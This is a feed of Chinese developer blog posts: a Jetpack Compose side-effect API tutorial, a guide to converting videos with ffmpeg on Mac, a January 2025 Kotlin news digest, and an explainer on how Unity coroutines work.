通过前文,相信我们已经了解到,SideEffect提供了一种简单、安全的方式,将 Compose 的内部状态与外部系统连接起来,这在调试和状态同步中非常实用。然而,由于 SideEffect 会在每次重组时被调用,确实可能导致数据重复等等问题。针对这一点,笔者有一个小小的思考:如何确保在重组过程中,状态与外部系统始终保持一致,而不会引发重复或错误更新呢?

当然,为了要确保Compose的应用状态与外部系统的一致性,笔者总结了以下几个原则

1. 幂等设计

每次重组都会调用 SideEffect,这可能会导致外部状态被重复写入。所以既然如此,确保外部操作是 幂等 的非常重要。当然有同学会问,幂等是啥东西?这里小小解释下,幂等操作 是指相同的输入多次执行,不会对结果造成重复影响。比方说:

  • 写日志时,每次写入相同内容应覆盖之前的内容,或者确保不重复写入

  • 数据库更新时,确保同样的更新语句不会多次改变状态

    此时,我们对前面的代码进行一波小小的改动:

var lastLoggedValue by remember { mutableStateOf(-1) }
        SideEffect {
            if (lastLoggedValue != count) {
                println("Count updated to $count")
                lastLoggedValue = count
            }
        }

只有count值发生实际变化的时候,才会更新日志

2.确保线程安全

SideEffect 总是在主线程上运行,但外部系统可能涉及多线程交互(例如网络请求、数据库操作)。因此,需要确保外部操作的线程安全性。

这里是笔者推荐的做法,当然具体的做法以实际项目开发情况为主:

  • 我们可以使用线程安全的容器(如 ConcurrentLinkedQueue等)
  • 或者将复杂的逻辑交给协程,比如说通过 LaunchedEffect 执行

3. 可以使用 remember 保存外部状态

外部状态容器(如列表、队列等)应通过 remember管理,以确保它在重组中保持一致。这里再小小的改下代码:

val externalState = remember { mutableStateListOf<String>() }
SideEffect {
    externalState.add("Count updated to $count")
    println("External State: $externalState")
}

这样的话externalState 的内容会随着 count 的变化更新,但不会因重组丢失。

避免递归问题

如果我们在SideEffect里面引起状态的再次变化,可能导致无限重组循环。

SideEffect {
    count++ // 修改状态会触发重组,从而再次调用 SideEffect,导致循环
}

所以一定要确保SideEffect里的逻辑是 只读的,或者只影响Compose外部系统。

好了,总结下,我们可以通过幂等操作、线程安全的设计和状态检查,来确保外部系统与应用状态的一致性

Q4. 如果我的操作依赖于一个动态变化的参数,LaunchedEffect会如何响应?

通过上文我们都已经知道LaunchedEffect通常可以用来执行一次性的异步耗时任务,但是,我们思考下,如果我的操作是依赖于动态变化的参数,就是需要传递不同的参数去执行对应的任务,LaunchedEffect如何响应?下面我们一起来探讨一下

LaunchedEffect是一个将代码块与Composable生命周期绑定的可组合函数,当它首次执行时,LaunchedEffect会启动一个协程,并运行代码块中的内容,此时如果依赖项发生变化,LaunchedEffect会重新启动协程并重新执行相应的任务。简单来说,LaunchedEffect会在Composable被组合时执行,或者在其依赖的键(key)发生变化时重新执行,并且它与Compose的生命周期管理密切集成,确保在组件离开组合时,协程会自动取消,避免内存泄漏

此外,LaunchedEffect可以接受一个或多个依赖项作为参数,当这些依赖项发生变化时,LaunchedEffect 会重新启动其协程。与 remember一样,LaunchedEffect的执行是受其依赖项的控制的。这意味着,如果我们希望某些操作依赖于动态变化的参数,例如用户输入、外部事件或者网络状态等,只需要将这些参数作为 LaunchedEffect的键传递即可

这么一大段话解释,不配个🌰是不是说不过去。下面我们稍微改下上文中LaunchedEffect的代码,假设我们需要根据一个动态变化的参数(例如userId)从网络中获取用户数据,当用户id发生变化的时候,我们希望重新发起请求并刷新UI

@Composable
fun UserDetailScreen(userId: String) {
    // 保存用户数据的状态
    var userData by remember { mutableStateOf<User?>(null) }
    // 加载状态
    var isLoading by remember { mutableStateOf(true) }
    // 错误信息
    var errorMessage by remember { mutableStateOf<String?>(null) }

    // 使用 LaunchedEffect,监听 userId 的变化
    LaunchedEffect(userId) {
        try {
            // 模拟异步加载用户数据
            userData = fetchUserData(userId)
        } catch (e: Exception) {
            errorMessage = "Failed to load user data: ${e.message}"
        } finally {
            isLoading = false
        }
    }

    // UI
    if (isLoading) {
        CircularProgressIndicator()
    } else if (errorMessage != null) {
        Text(text = errorMessage ?: "Unknown error", color = MaterialTheme.colorScheme.error)
    } else {
        userData?.let {
            Text("User Name: ${it.name}")
            Text("User Email: ${it.email}")
        }
    }
}

// 模拟网络请求获取用户数据
suspend fun fetchUserData(userId: String): User {
    delay(2000)  // 模拟网络请求延时
    return User(userId, "Rainy Jiang", "jiangshiyuxs@gamil.com")
} 
data class User(val id: String, val name: String, val email: String)

上面的代码中,LaunchedEffect(userId) 用来监听 userId 的变化。当 userId变化时,LaunchedEffect会重新启动协程并发起新的异步请求,从而加载新的用户数据并更新 UI。

可能有同学这个时候就会说了,实际开发中,可能有多个动态变化的参数,既然LaunchedEffect可以添加多个依赖项,它会响应任意依赖项的变化么?答案是毋庸置疑的,还是刚刚的例子,此时假设我们不仅需要根据 userId加载用户数据,还需要根据 sessionToken 来验证用户的身份。

// 监听 userId 和 sessionToken 的变化
    LaunchedEffect(userId, sessionToken) {
        try {
            userData = fetchUserProfile(userId, sessionToken)
        } catch (e: Exception) {
            errorMessage = "Error: ${e.message}"
        } finally {
            isLoading = false
        }
    }

此时,如果这两个参数中的任何一个发生变化,LaunchedEffect会取消当前的协程并启动一个新的协程来重新加载数据。 当然需要注意的,在依赖项频繁变化时,如果异步任务比较耗时,可能会导致协程启动和取消的频繁切换,从而带来性能开销。因此,在设计时要小心高频变化的参数。

合理使用 LaunchedEffect,我们能够以更简洁和声明式的方式处理动态变化的参数,并确保 UI 和异步任务的同步管理,减少了手动生命周期管理的复杂性

Q5. rememberCoroutineScopeLaunchedEffect有何不同?

首先他们都是Compose中启动协程的Side Effect API ,但它们的作用机制不同,这里笔者给一个表格来简单对比下

API适用场景作用生命周期
rememberCoroutineScope用户交互(按钮点击、滑动等)触发的协程提供一个 CoroutineScope,可以在 UI 事件中手动启动协程不会随重组重启,作用域与 Composable 绑定
LaunchedEffect基于 Compose 状态变化或生命周期触发的协程监听 key 变化,并在变化时自动启动协程绑定到 Composable生命周期,key 变化时重启

他们最大的不同,就跟车一样,rememberCoroutineScope作为手动挡,需要我们自己手动启动协程,不会随重组销毁或重启,可以在 Composable内持续使用;而LaunchedEffect就如自动挡一样,会在变化时自动启动协程,并绑定到Composable生命周期中。

那我们什么时候使用 rememberCoroutineScope 而不是 LaunchedEffect

一句话概括,如果你需要 用户交互触发的异步任务,用 rememberCoroutineScope,如果你希望 UI 状态变化时自动执行任务,用 LaunchedEffect。是不是有点抽象,没关系,下面笔者还是给个表格,各位同学看一眼大致就明白了

场景使用 rememberCoroutineScope使用 LaunchedEffect
按钮点击触发任务手动启动协程❌ 不适合
滚动、滑动事件触发与用户交互相关
组件初始化时执行一次性任务自动触发
状态 (state) 变化时触发任务依赖 key 变化
定时任务、监听状态更新
不同点击事件共享一个协程作用域

小小总结下, rememberCoroutineScope 适用于响应用户交互(点击、滚动)并手动启动协程,它不会因重组而重启。LaunchedEffect适用于在 Composable 生命周期或 key变化时执行任务,它会随 key 变化重启。

Q6. 有什么场景是ProduceState特别适用的?

很多人听说, “只要把非 Compose 状态转换成 Compose 状态,就用 produceState ,结果遇到具体需求时还是一头雾水,没错说的就是本人,不知道该不该上。其实,produceState 主要用在 “外部数据源驱动 UI” 的场景,比如网络请求、数据库监听、实时数据流等。为了更直观,下面举几个实际开发中常见的例子,帮大家理清思路。

社交应用:获取用户个人资料

在社交应用(如微博,朋友圈,聊天软件之类的),用户界面需要从服务器获取用户信息

需求如下

  • userId变化时,自动重新加载用户信息
  • 确保 UI 始终显示最新数据
  • 处理加载状态,防止 UI 闪烁
@Composable
fun UserProfileScreen(userId: String) {
    val userInfo by produceState(initialValue = "加载中...", userId) {
        value = fetchUserInfo(userId) ?: "用户不存在"
    }

    Column {
        Text(text = userInfo)
    }
}

// 模拟一下API 请求
suspend fun fetchUserInfo(userId: String): String? {
    delay(2000) // 模拟网络延迟
    return if (userId == "123") "用户:张三" else null
}

为什么

  • userId 变化时,自动重新加载,不需要手动触发
  • 防止不必要的重组,避免 UI 卡顿
  • 更清晰的状态管理,相比 remember + LaunchedEffect 组合更直观

直播/股票 App:实时更新数据

在直播平台、股票交易或新闻推送类应用中,我们经常需要去订阅 WebSocket 或流数据

需求如下

  • 订阅股票价格流,并在 UI 中实时更新
  • 避免因 Composable重组导致订阅失效
  • 组件销毁时自动清理订阅,防止内存泄漏
@Composable
fun StockPriceScreen(stockSymbol: String) {
    val stockPrice by produceState(initialValue = "加载中...", stockSymbol) {
        stockPriceFlow(stockSymbol).collect { newPrice ->
            value = "当前股价:$newPrice"
        }
    }

    Text(text = stockPrice)
}

// 模拟股票价格流
fun stockPriceFlow(stockSymbol: String): Flow<Double> = flow {
    while (true) {
        if (stockSymbol == "300750") {
            emit(Random.nextDouble(100.0, 500.0)) // 生成随机股价
        } else {
            emit(Random.nextDouble(200.0,1000.0))
        }
        delay(1000) // 每秒更新一次
    }
}

为什么

  • 保证WebSocket订阅在Composable生命周期内可控
  • 自动管理数据流变化,UI 绑定状态更清晰
  • 避免重复创建Flow订阅,节省资源

位置服务 App:实时获取 GPS 坐标

在外卖、打车、地图应用中,我们需要实时获取用户的 GPS 位置,并在 UI 中更新。

需求如下:

  • 实时获取用户位置,且 Composable重新组合时不会丢失数据
  • 位置变化时,自动触发 UI 更新
  • 避免内存泄漏(监听器应该在 Composable 销毁时清理)
@Composable
fun LocationTrackerScreen() {
    val location by produceState(initialValue = "定位中...") {
        locationFlow().collect { newLocation ->
            value = "当前位置:$newLocation"
        }
    }

    Text(text = location)
}

// 模拟 GPS 位置流
fun locationFlow(): Flow<String> = flow {
    while (true) {
        emit("纬度: ${Random.nextDouble(20.0, 50.0)}, 经度: ${Random.nextDouble(100.0, 150.0)}")
        delay(2000) // 每 2 秒更新一次
    }
}

为什么

  • 适合持续性数据流,保证 UI 数据始终最新
  • 避免生命周期问题,produceState 作用域结束时自动停止 Flow
  • LaunchedEffect + remember 更简洁,数据绑定直观

聊天应用:监听最新消息

在即时通讯应用(如 WhatsApp、微信)中,需要监听并显示最新的聊天消息

需求如下:

  • 用户进入聊天界面后,实时接收消息更新
  • 组件销毁时自动取消监听,防止泄漏
  • 避免不必要的重复请求
@Composable
fun ChatScreen(chatId: String) {
    val latestMessage by produceState(initialValue = "暂无消息", chatId) {
        chatMessagesFlow(chatId).collect { newMessage ->
            value = "最新消息:$newMessage"
        }
    }

    Text(text = latestMessage)
}

// 模拟聊天消息流
fun chatMessagesFlow(chatId: String): Flow<String> = flow {
    //聊天灵魂3连问
    val messages = listOf("你好!", "在吗?", "今晚有空一起吃饭吗?")
    for (msg in messages) {
        emit(msg)
        delay(3000) // 每 3 秒推送一条消息
    }
}


为什么

  • 只需要传入 chatId,即可监听最新消息,无需手动管理 Flow
  • 避免 Composable 重组时重复订阅,节省资源
  • chatId 变化时,自动切换到新的聊天会话

Q7. 谈谈副作用 API 的最佳实践?

好了,前面说了这么多关于学习副作用中遇到的疑惑,而且副作用这块作为Compose学习至关重要的一环,在实际开发中如何更好的去使用它,当然笔者在这过程中也遇到了各种各样奇奇怪怪的问题,这些问题不仅帮助笔者加深了对副作用的理解,也促使笔者不断优化代码和总结经验,能为各位同学提供一些启发。

在实际开发中,如何避免滥用副作用 API?

  • 需要清晰的职责分工

    每个副作用 API 都有特定的使用场景,确保选择正确的 API。例如:

    • 使用 LaunchedEffect 启动首次异步任务,而不是 SideEffect
    • 对于绑定生命周期,退出需要清理的逻辑,优先使用 DisposableEffect
  • 最小化副作用逻辑: 副作用中应该只包含必要的逻辑,避免在副作用内做复杂计算或更新多个状态。

  • 避免多余的 API 嵌套: 不要将多个副作用 API 无意义地嵌套。例如,避免在 LaunchedEffect 中启动新的协程,这种行为会导致逻辑混乱。

    // 不推荐
    LaunchedEffect(Unit) {
        launch { 
           //你的逻辑 do something
        }
    }
    // 推荐
    LaunchedEffect(Unit) {
        //你的逻辑 do something
    }
    

如何确保副作用仅在预期的范围内影响状态或系统?

  • 限制副作用的作用范围: 避免副作用不必要地影响其他外部系统。尽量将副作用与特定的组合树节点绑定,减少全局影响。
  • 明确 key参数 的设计: 对于 LaunchedEffectDisposableEffect 等依赖 需要依赖key 的 API,确保 key 的选择准确。如果 key不准确,会导致意外的重新启动或无效的执行。
//错误示例:可能导致每次重组都重新执行
LaunchedEffect(true) { 
    fetchData() 
}
//正确示例:将 `key` 绑定到正确的状态
LaunchedEffect(userId) { 
    fetchDataForUser(userId) 
}
  • 避免直接更新外部状态: 副作用中不要直接修改外部不可变的状态,应通过 State或其他响应式方式更新 UI。

有哪些常见的陷阱或误区是我们在处理副作用时需要注意的?

误区 1:滥用 rememberCoroutineScope

在组合中使用 rememberCoroutineScope 时,需要确保手动管理协程的生命周期。否则容易导致内存泄漏。解决方案如下:

  • 只在与用户交互相关的场景使用,如点击事件。
  • 对于生命周期管理明确的场景,优先使用 LaunchedEffect

误区 2:副作用频繁触发

如果 key 的依赖频繁变化,可能导致 LaunchedEffectDisposableEffect 反复重启,影响性能。解决方案如下:

  • 谨慎选择 key的依赖,避免在不必要的重组中重新执行。

  • 使用rememberUpdatedState确保获取最新值,而不重新启动副作用。

    val latestValue = rememberUpdatedState(value)
    LaunchedEffect(Unit) {
        while (isActive) {
            println(latestValue.value) // 始终是最新值
        }
    }
    

误区 3:忽略副作用的清理

如果副作用创建了资源(如监听器或协程),未正确清理会导致内存泄漏。解决方案如下:

  • 使用 DisposableEffect 并确保 onDispose完成清理工作。
DisposableEffect(Unit) {
    val listener = SomeListener()
    listener.register()
    onDispose {
        listener.unregister() // 确保清理掉
    }
}

误区 4:在副作用中直接修改 Compose 状态

副作用中直接修改Compose状态(如 mutableStateOf)可能引发死循环。解决方案如下:

  • 确保状态的更新与副作用的触发互相独立,避免循环依赖。

总结

好了,说了这么多,我们在实际开发中,想用好 Compose 的副作用 API,其实就是几个关键点。首先,别让副作用掺和太多事儿,它就应该专心干自己的活,UI的事情让UI 管,逻辑清楚了,后续调试才不崩溃。其次,副作用也讲究“分工对口”:短期跑完就结束的用 LaunchedEffect,那种常驻型的就交给 rememberCoroutineScope,需要清理资源的,记得 DisposableEffect,异步任务里,状态要用 rememberUpdatedState,防止拿到旧值,别用错了工具。

再就是多试试,别怕折腾,尤其在状态和组合频繁变化的时候,跑一跑看副作用稳不稳。最后,还是那句话,如果你的代码比较复杂,自己都觉得绕,就一定要写点注释,解释清楚“为啥这么写”,不然时间长了,连自己都看不懂,后续同事看了更得抓狂!

相关文章

by RainyJiang at January 26, 2025 01:27 PM

juejin freebie

Mac 使用 ffmpeg(命令行工具)

ffmpeg -i input.mov -c:v h264_videotoolbox -b:{bitrate} -c:a aac
output. mp4

# or 

ffmpeg -i input.mov -c:v h264_videotoolbox -b:1000-c:a aac
output. mp4

使用 ffmpeg(命令行工具)

ffmpeg 是一个强大的多媒体处理工具,适合快速转换视频格式和调整分辨率。

1. 安装 ffmpeg

如果你还没有安装 ffmpeg,可以通过 Homebrew 安装:

bash

复制

brew install ffmpeg

2. 转换 .mov 为 .mp4(1080p)

使用以下命令将 .mov 文件转换为 1920x1080 的 .mp4 文件:

bash

复制

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 23 -preset medium -c:a aac -b:a 128k output.mp4

参数说明:

  • i input.mov:指定输入文件。
  • vf "scale=1920:1080":将视频分辨率调整为 1920x1080。
  • c:v libx264:使用 H.264 编码器。
  • crf 23:控制视频质量,范围是 0(无损)到 51(最差),23 是默认值,质量较好。
  • preset medium:平衡编码速度和质量(可选:ultrafastsuperfastveryfastfasterfastmediumslowslowerveryslow)。
  • c:a aac:使用 AAC 音频编码器。
  • b:a 128k:设置音频比特率为 128kbps。
  • output.mp4:指定输出文件名。

3. 运行命令

将 input.mov 替换为你的文件名,然后运行命令。转换完成后,你会得到一个 output.mp4 文件。

加快转化速度

如果你希望在使用 ffmpeg 转换视频时 加快速度,可以通过调整编码参数来优化性能。以下是一些常用的方法:


1. 使用更快的编码预设(preset

ffmpeg-preset 参数控制编码速度和质量之间的平衡。默认是 medium,你可以选择更快的预设来加快速度:

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 23 -preset fast -c:a aac -b:a 128k output.mp4

可选的 preset 值:

  • ultrafast:最快,但质量最低。
  • superfast
  • veryfast
  • faster
  • fast:比 medium 快,质量稍低。
  • medium(默认)
  • slow:更高质量,但速度较慢。
  • slower
  • veryslow:最慢,但质量最高。

注意:越快的预设会降低压缩效率,可能导致文件变大或质量稍低。


2. 使用硬件加速(如果支持)

如果你的设备支持硬件加速(如 Intel Quick Sync、NVIDIA NVENC 或 AMD AMF),可以显著加快编码速度。

使用 NVIDIA NVENC(需要 NVIDIA GPU 和驱动支持):

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v h264_nvenc -preset fast -cq 23 -c:a aac -b:a 128k output.mp4

使用 Intel Quick Sync(需要 Intel GPU):

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v h264_qsv -preset fast -global_quality 23 -c:a aac -b:a 128k output.mp4

使用 AMD AMF(需要 AMD GPU):

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v h264_amf -quality speed -c:a aac -b:a 128k output.mp4

注意:硬件加速可能会稍微降低质量,但速度会显著提升。


3. 降低 CRF 值(牺牲一些质量)

  • crf 参数控制视频质量,值越低质量越高,但文件越大。适当提高 crf 值可以加快编码速度:
ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 26 -preset fast -c:a aac -b:a 128k output.mp4
  • 默认 crf 23,你可以尝试 crf 26 或更高(范围是 0-51,值越大质量越低)。

4. 禁用音频重新编码

如果不需要重新编码音频,可以复制原始音频流以加快速度:

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 23 -preset fast -c:a copy output.mp4
  • c:a copy:直接复制音频流,不重新编码。

5. 多线程编码

ffmpeg 默认会使用多线程,但你可以手动指定线程数以优化性能:

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 23 -preset fast -threads 4 -c:a aac -b:a 128k output.mp4
  • threads 4:指定使用 4 个线程(根据你的 CPU 核心数调整)。

6. 使用更快的缩放算法

  • vf "scale=1920:1080" 默认使用高质量的双线性缩放算法。你可以使用更快的算法(如 neighborbilinear):
ffmpeg -i input.mov -vf "scale=1920:1080:flags=neighbor" -c:v libx264 -crf 23 -preset fast -c:a aac -b:a 128k output.mp4
  • flags=neighbor:使用最近邻算法(最快,但质量较低)。
  • flags=bilinear:使用双线性算法(较快,质量中等)。

7. 示例命令(综合优化)

以下是一个综合优化的命令:

ffmpeg -i input.mov -vf "scale=1920:1080" -c:v libx264 -crf 26 -preset superfast -threads 4 -c:a copy output.mp4
  • crf 26:稍微降低质量以加快速度。
  • preset superfast:使用更快的编码预设。
  • threads 4:使用 4 个线程。
  • c:a copy:直接复制音频流。

总结

  • 使用更快的 preset(如 superfastultrafast)。
  • 启用硬件加速(如 NVIDIA NVENC 或 Intel Quick Sync)。
  • 适当提高 crf 值以加快速度。
  • 直接复制音频流(c:a copy)。
  • 使用多线程(threads)。

如果你有硬件加速支持,强烈推荐使用硬件加速,速度会显著提升!

by 渊渔 at January 26, 2025 01:26 PM

juejin android

Kotlin 技术月报 | 2025 年 1 月

为了帮助社区的小伙伴们更好地了解 Kotlin 相关的最新动态,我们决定使用月报的形式,整理展示最近一个月的 Kotlin 技术动态。

月报的主要内容包括:整理展示最近一个月的最新技术动态,精选博客,精选视频以及社区活动等方面的信息。

最新动态

Kotlin 2.1.20-Beta1 已发布

What's new in Kotlin 2.1.20-Beta1

  • IDE 支持:支持 2.1.20-Beta1 的 Kotlin 插件捆绑在最新的 IntelliJ IDEA 和 Android Studio 中,无需在 IDE 中更新插件,只需在构建脚本中更改 Kotlin 版本为 2.1.20-Beta1。
  • Kotlin K2 编译器新特性:从 Kotlin 2.1.20-Beta1 开始,K2 实现的 kapt 编译器插件对所有项目默认启用。自 Kotlin 1.9.20 推出新的 kapt 插件实现以来,团队不断改进其内部实现,使其行为与 K1 kapt 相似并显著提高性能,遇到问题可暂时恢复到以前的插件实现并向问题跟踪器报告。
  • Gradle 支持情况:Kotlin 2.1.20-Beta1 与最新稳定版 Gradle 8.11 兼容并支持其功能,Gradle 8.7 至 8.11 版本均受支持,但使用 Kotlin 多平台 Gradle 插件时在 JVM 目标中调用 withJava () 函数可能会出现弃用警告,团队计划尽快修复。

此外 Kotlin 2.1.10-RC2 也已于近期发布,详情信息可见:github.com/JetBrains/k…

新版本 IDE 的启动速度变快了?原来是在背后做了这些!| 技术解析

打开项目时也许是开发者需要等待的最常见场景。IntelliJ IDEA 需要加载和同步项目、执行索引编制以及完成许多其他小任务才能启用所有实用功能。

本文介绍了在新版本 IntelliJ IDEA 中为提高性能而采取的措施,包括通过技术改进优化 IDE 性能,分阶段同步索引编制等方式优化用户性能。通过以上优化,大约 30% 的用户认为 IntelliJ IDEA 2024.2 让他们能够更快开始编码。

精选博客

Kotlin Multiplatform 2024 年总结,Kotlin 崛起的一年

2024 年是 KMP 崛起的一年,这篇文章回顾了 2024 年 Kotlin Multiplatform(KMP)的发展。

  • 社区支持:2024 年 Google I/O 官宣支持 KMP 项目,由 JetBrains 主导开发,Google Workspace 投资支持。
  • 库支持拓展:2024 年众多 Jetpack 库新增 Kotlin 多平台支持,涵盖网络、数据处理等领域。
  • 版本更新:年初 Kotlin/Wasm 发布 Alpha 版,Compose Multiplatform 同步支持;Compose Multiplatform 1.6.10 及后续版本有 iOS、Web、编译器等更新;Kotlin 2.0 引入 K2 编译器,IntelliJ IDEA 2024.3 的 K2 模式进入稳定阶段。
  • 工具革新:KMP 未来将用基于 JetBrains Fleet 定制的独立 IDE,klibs.io 平台发布,用于搜索 KMP 库。
  • 鸿蒙适配:2024 年 Kotlin 中文开发者大会讨论 KMP 适配鸿蒙,官方研究相关方案,有 Kotlin/JS 和 Kotlin/Native 两种适配思路待确定。
  • 未来展望:2025 年 JetBrains 将强化 KMP 生态,涉及升级 iOS 版本、支持 Kotlin 转 Swift 及发布独立 IDE 等。

初探 Kotlin Multiplatform Mobile 跨平台原理

文章围绕 Kotlin Multiplatform Mobile(KMM)跨平台原理展开,涵盖开发流程、编译产物、文件解析、平台关系等内容,具体如下:

  • 开发流程:在 CommonMain 用expect定义不同平台有差异的接口,在各具体平台以actual实现,之后编译、打包、发布,宿主依类型依赖对应仓库。
  • Common 层产物:包含kotlin-tooling-metadata.json、source.jar、.jar和.module等文件,.module关联 Common 层与具体平台产物信息。
  • 具体平台产物:以 iOS 平台为例,.module文件描述产物属性、依赖和文件信息 ,其编译产物有metadata.jar和.klib。
  • 关键文件解析:.klib存放ir等,.knm由.kt经特定流程生成,记录元数据,可用 IDEA 查看 。
  • iOS 与 KMM 库关系:iOS 依赖.h和二进制文件,KMM 通过cinterop等工具实现与 OC 的互操作,将.klib处理成 iOS 可用的.framework。

绝大多数人想不到的 MMKV 封装思路

文章主要介绍了 MMKV 在 Kotlin 中的封装思路与实现,形成 MMKV-KTX 库,具体如下:

  • 支持 StateFlow 类型:借鉴 LiveData 的封装方式,通过自定义委托类,重写 MutableStateFlow 读写及相关函数,结合 MMKV 缓存逻辑,实现对 StateFlow 的支持,使数据变化可通知 UI,还可使用 Flow 操作符。
  • 支持 getAllKV ():针对 MMKV 不支持 getAll () 获取键值对的问题,利用属性委托时的属性名和类型信息,通过反射实现 getAllKV ()。同时处理了懒加载属性误判问题,确保获取的数据准确。
  • 支持 Map 用法:提出用操作 Map 方式读写 MMKV 数据,对比存 JSON 字符串和给 key 加后缀两种方案,选择后者。通过特定方式获取历史数据,处理增删查改及迭代器操作,重写 equals () 函数,实现 Map 用法。
  • MMKV-KTX 库介绍:MMKV-KTX 库具备自动初始化、类型安全等特性,支持多种数据类型,可转换为 LiveData、StateFlow、Map,还支持 getAllKV ()。给出了添加依赖和使用示例。
fun IMMKVOwner.getAllKV(): Map<String, Any?> = buildMap {
  this@getAllKV::class.memberProperties
    .filterIsInstance<KProperty1<IMMKVOwner, *>>()
    .forEach { property ->
      property.isAccessible = true
      this[property.name] = property.get(this@getAllKV)
      property.isAccessible = false
    }
}

Compose 编译器插件原理介绍

Reverse-Engineering the Compose Compiler Plugin: Intercepting the Frontend

本文主要介绍了 Jetpack Compose 编译器插件如何改变 Kotlin 编译器的规则,包括在不同编译阶段的作用以及如何拦截编译行为等内容。

  • Jetpack Compose 编译器插件与 Kotlin 编译器的关系:Jetpack Compose 编译器插件会向 IDE 发送诊断信息以提供用户反馈,通过拦截 Kotlin 编译器的代码编译和运行时行为来实现其功能。
  • Kotlin 编译器:着重探讨较新的 FIR 前端(k2 编译器),其通过重复编译优化数据格式。
  • 插件架构:参考 2018 年 Kevin Most 演讲,介绍了编译器插件架构的构成部分。
  • Compose 插件结构:已转移到 Kotlin 仓库,分析其文件结构及前后端职责。
  • 插件拦截功能:可在 Kotlin 编译器前后端拦截编译,以特定代码为例说明不同阶段作用。
  • IDE 错误提示:解析阶段后,FIR 将信息发送至 IDE 插件,提供如 “Composable main functions are not currently supported” 等实时错误提示。

社区活动

Kotlin 中文开发者大会视频回放

Kotlin 中文开发者大会视频回放已发布,欢迎点击以下链接观看:

by 程序员江同学 at January 26, 2025 12:36 PM

juejin article

【个人笔记】浅析Unity协程(Coroutine)机制的工作原理

88050871_p0.jpg

协程(Coroutine)是Unity引擎所提供的一种强大而神奇的机制。它允许开发者将动画等耗时较久的任务打散到多帧(即多次事件循环)执行,以避免此类任务阻塞游戏主线程(即单次事件循环)的正常执行。

在Unity项目中,协程的实现由C#编译器和Unity引擎底层密切配合实现,下面我将逐一为你拆解它们在实现协程过程中所扮演的角色。

C#编译器提供的支持

为了说明Unity引擎中协程机制的工作原理,这里首先给出一个具体的C#示例代码。后文中我将结合这个具体的实例进行说明。

class MyClass : MonoBehaviour {
    private void Start()
    {
        StartCoroutine(TestEnumerator());
    }
    private IEnumerator TestEnumerator()
    {
        UnityEngine.Debug.Log("wait for 1s");
        yield return new WaitForSeconds(1f);
        UnityEngine.Debug.Log("wait for 2s");
        yield return new WaitForSeconds(2f);
        UnityEngine.Debug.Log("wait for 3s");
        yield return new WaitForSeconds(3f);
        UnityEngine.Debug.Log("Final");
    }
}

在调用Start函数后,它会将枚举器函数TestEnumerator的返回结果作为实参传入StartCoroutine函数(事实上它是Unity引擎提供的基类MonoBehaviour的一个方法),而后协程就会开始执行,而其执行效果应该是显而易见的。首先它会输出字符串"wait for 1s",等待1秒之后输出"wait for 2s",再等待2秒之后输出"wait for 3s",最后再等待3秒后输出"Final"。

通过观察Reflector(一款C#程序逆向工具)反编译Unity项目构建后所得Assembly-CSharp.dll文件(其中储存着Unity项目中所有C#源码经编译所得的字节码指令)的结果,我们可以看到在最终的编译产物中并没有TestEnumerator函数的对应代码,取而代之的是一个继承自IEnumerator的类(下文称做“枚举器类”),如下所示。

注意,这里为了方便说明问题,我对展示代码进行了必要的删改。

private sealed class <TestEnumerator>d__1 : IEnumerator
{
    private int <>1__state;
    private object <>2__current;
    public Test <>4__this;
    public <TestEnumerator>d__1(int <>1__state)
    {
        this.<>1__state = <>1__state;
    }
    private bool MoveNext()
    {
        switch (this.<>1__state)
        {
            case 0:
                this.<>1__state = -1;
                UnityEngine.Debug.Log("wait for 1s");
                this.<>2__current = new WaitForSeconds(1f);
                this.<>1__state = 1;
                return true;
            case 1:
                this.<>1__state = -1;
                UnityEngine.Debug.Log("wait for 2s");
                this.<>2__current = new WaitForSeconds(2f);
                this.<>1__state = 2;
                return true;
            case 2:
                this.<>1__state = -1;
                UnityEngine.Debug.Log("wait for 3s");
                this.<>2__current = new WaitForSeconds(3f);
                this.<>1__state = 3;
                return true;
            case 3:
                UnityEngine.Debug.Log("Final");
                this.<>1__state = -1;
                return false;
        }
        return false;
    }
    object IEnumerator.Current
    {
        get
        {
            return this.<>2__current;
        }
    }
}

通过观察这个类的代码,我们不难发现,枚举器函数的本质其实是一个有限状态机(Fnite-Sate Machine)。原先枚举器函数中看似连成一体的代码,都会以yield return语句为界限被编译器划分为有限状态机中的若干状态,封装进枚举器类的MoveNext方法当中。

同时,枚举器类中还包含一个名为1__state的成员变量,用于表示有限状态机当前所处的状态。当MoveNext方法每次被调用时,都会执行1__state所指示状态所对应的那部分代码。

另外,有限状态机的状态应该是能够发生迁移的,这只需要通过修改1__state成员变量的值就能办到。

从枚举器类的代码可以看出,在本文所举的这个具体例子中,状态机状态迁移的条件是非常简单的:当某一个状态下的代码执行完毕后,就应该迁移到下一个状态。

枚举器类中还有两个非常值得关注的细节。

  1. 原枚举器函数中yield return语句后跟随的返回值(在本例中是一个用于描述等待时间的WaitForSeconds实例对象),在编译器生成的枚举器类中,在有限状态机相应代码执行后,被挂载到了2__current这个成员变量上。又注意到,枚举器类中提供了一个访问器方法IEnumerator.Current,使得外部代码可以很方便地获取到每一次yield return语句所“返回”的结果。
  2. 编译器生成的枚举器类MoveNext以布尔值作为每次调用的返回值。当有限状态机还未处于最终状态时,调用MoveNext方法会得到true,这对应于原枚举器函数中的代码还未被全部执行完毕。而当有限状态机已处于最终状态,调用MoveNext方法则会得到false,这对应于原枚举器函数中的所有代码都已经被执行完毕了。通过判断调用MoveNext方法所得到的返回值,外部代码可以很轻松地了解到有限状态机是否已经进入了最终状态。

基于以上分析,对于任何稍有编程经验的人,都不难推测出枚举器TestEnumerator作为协程工作的大致方式:

  • 在第一次执行其对应枚举器类的MoveNext方法后,根据从Current访问器获取到的WaitForSeconds实例对象可以知道应等待的时间是多少
  • 等这个时间一过,就再次调用MoveNext方法。
  • 如此循环往复上述过程,直至调用MoveNext方法得到值为false的返回值即可停止。

Unity引擎底层提供的支持

通过前文的分析,我们已经认识到C#编程语言中枚举器函数的本质是一个有限状态机,并且生成这个有限状态机所对应枚举器类代码的工作是由C#编译器完成的。

